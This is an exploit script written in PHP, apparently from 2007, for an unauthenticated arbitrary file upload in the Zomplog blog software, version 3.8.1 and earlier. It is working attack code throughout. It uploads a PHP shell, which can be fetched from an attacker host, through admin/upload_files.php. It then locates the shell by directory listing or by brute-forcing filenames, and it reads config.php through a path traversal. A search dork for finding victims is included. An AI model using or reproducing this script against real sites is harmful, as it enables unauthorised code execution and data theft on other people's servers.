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zomplog381-upload.txt

Posted on 30 September 2007

<?php
## Zomplog <= 3.8.1 Arbitrary File Upload Exploit
## by InATeam (http://inattack.ru/)
## tested on versions 3.8.1 with security patch, 3.8.1, 3.8, 3.7.5

echo "------------------------------------------------------------
";
echo "Zomplog <= 3.8.1 Arbitrary File Upload Exploit
";
echo "(c)oded by Raz0r, InATeam (http://inattack.ru/)
";
echo "dork: "Powered by Zomplog"
";
echo "------------------------------------------------------------
";

if ($argc<3) {
echo "USAGE:
";
echo "~~~~~~
";
echo "php {$argv[0]} [url] [file]

";
echo "[url]  - target server where Zomplog is installed
";
echo "[file] - file to upload (local or remote)

";
echo "examples:
";
echo "php {$argv[0]} http://site.com/ http://evil-site.com/sh.php
";
echo "php {$argv[0]} http://weblog.site.com:8080/ /root/sh.php
";
echo "php {$argv[0]} http://site.com/zomplog/ sh.php
";
die;
}
/**
* software site: http://zomplog.zomp.nl/
*
* i) /admin/upload_files.php is supposed to be run only from admin panel
* (it is included in /admin/editor.php, other admin scripts) but unathorized
* users can call it directly, because the script doesnt check if you are admin
* ii) /admin/upload_files.php allows to upload any files: it checks only
* MIME-types of the files but not the extensions. For example, it is possible
* to upload php script and then execute it
* iii) uploaded file will be moved to /upload directory and its name will
* have the format like this:
* [YearMonthDay]_[RandomNumberFrom1To999]_[OriginalFilename]
* In the version 3.8.1 additional prefix is used. By default /upload is not
* protected by .htaccess, so we can get the contents of it.
* However sometimes directory listing is denied and in this case we need to
* brute the filename (max number of requests is 999)
*/
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
$url = $argv[1];
$file = $argv[2];
$url_parts = parse_url($url);
$host = $url_parts['host'];
$path = $url_parts['path'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$filename = basename($file);
echo "[~] Getting $filename... ";
$fp = file_get_contents($file);
$fp ? print("OK
") : die("failed
");
$data = "--------bndry31337
";
$data.= "Content-Disposition: form-data; ";
$data.= "name="file"; filename="{$filename}"
";
$data.= "Content-Type: text/plain

";
$data.= $fp."
";
$data.= "--------bndry31337
";
$packet = "POST {$path}admin/upload_files.php HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "User-Agent: InAttack evil agent
";
$packet.= "Content-Type: multipart/form-data; boundary=------bndry31337
";
$packet.= "Content-Length: ".strlen($data)."
";
$packet.= "Connection: close

";
$packet.= $data;
echo "[~] Uploading {$filename}... ";
$resp = send($packet);
$exploded = explode("
",$resp);
$errno=array();
preg_match('@(d{3})@',$exploded[0],$errno);
if ($errno[1]!=200) $resp = false;
$resp ? print("OK
") : die("failed
");
$packet = "GET {$path}upload/ HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "User-Agent: InAttack evil agent
";
$packet.= "Connection: close

";
$resp = send($packet);
if (strpos($resp, "force_download.php") !== false) {
echo "[+] Directory listing of {$path}upload/ is allowed
";
$matches=array();
if (preg_match('/(temp_)*d{8}_d{1,3}_'.$filename.'/',$resp,$matches)){
$newname = $matches[0];
echo "[+] Filename is $newname
";
echo "[+] {$url}upload/{$newname}
";
}
else die("[-] Exploit failed
");
}
else {
echo "[-] Directory listing of {$path}upload/ is denied
";
//it is necessary to determine if prefix 'temp_' is used before the filename
echo "[~] Getting Zomplog's version... ";
$packet = "GET {$path}upload/force_download.php?file=../admin/config.php HTTP/1.0
";
//thx to Dj7xpl for this bug =)
$packet.= "Host: {$host}
";
$packet.= "User-Agent: InAttack evil agent
";
$packet.= "Connection: close

";
$resp = send($packet);
$matches=array();
if (preg_match('@$version = "([^"]+)";@',$resp,$matches)) {
echo $matches[1]."
";
$prefix = ("3.8.1" == $matches[1]) ? 'temp_' : '';
}
else {
echo "3.8.1 with sec patch
";
$prefix = "temp_";       }
echo "    Bruting the filename...";
for($i=1;$i<1000;$i++) {
$packet = "GET {$path}upload/".$prefix.date("Ymd")."_".$i."_";
$packet.= urlencode($filename)." HTTP/1.0
";
$packet.= "Host: {$host}
";
$packet.= "User-Agent: InAttack evil agent
";
$packet.= "Connection: close

";
$resp = send($packet);
status();
$exploded = explode("
",$resp);
$errno=array();
preg_match('@(d{3})@',$exploded[0],$errno);
if ($errno[1]==200) {
$newname = $prefix.date("Ymd")."_".$i."_".$filename;
echo "[+] Filename is {$newname}
";
echo "[+] {$url}upload/{$newname}
";
die;
}
}
printf("[-] Exploit failed%9s
",'');
}
function send($packet) {
global $host,$port;
$ock = fsockopen(gethostbyname($host),$port);
if (!$ock) return false;
else {
fputs($ock, $packet);
$html='';
while (!feof($ock)) $html.=fgets($ock);
}
return $html;
}
function status() {
static $n;
$n++;
if ($n > 3) $n = 0;
if($n==0){ print "
[-]
";  }
if($n==1){ print "
[\]
";  }
if($n==2){ print "
[|]
";  }
if($n==3){ print "
[/]
"; }
}
?>

 

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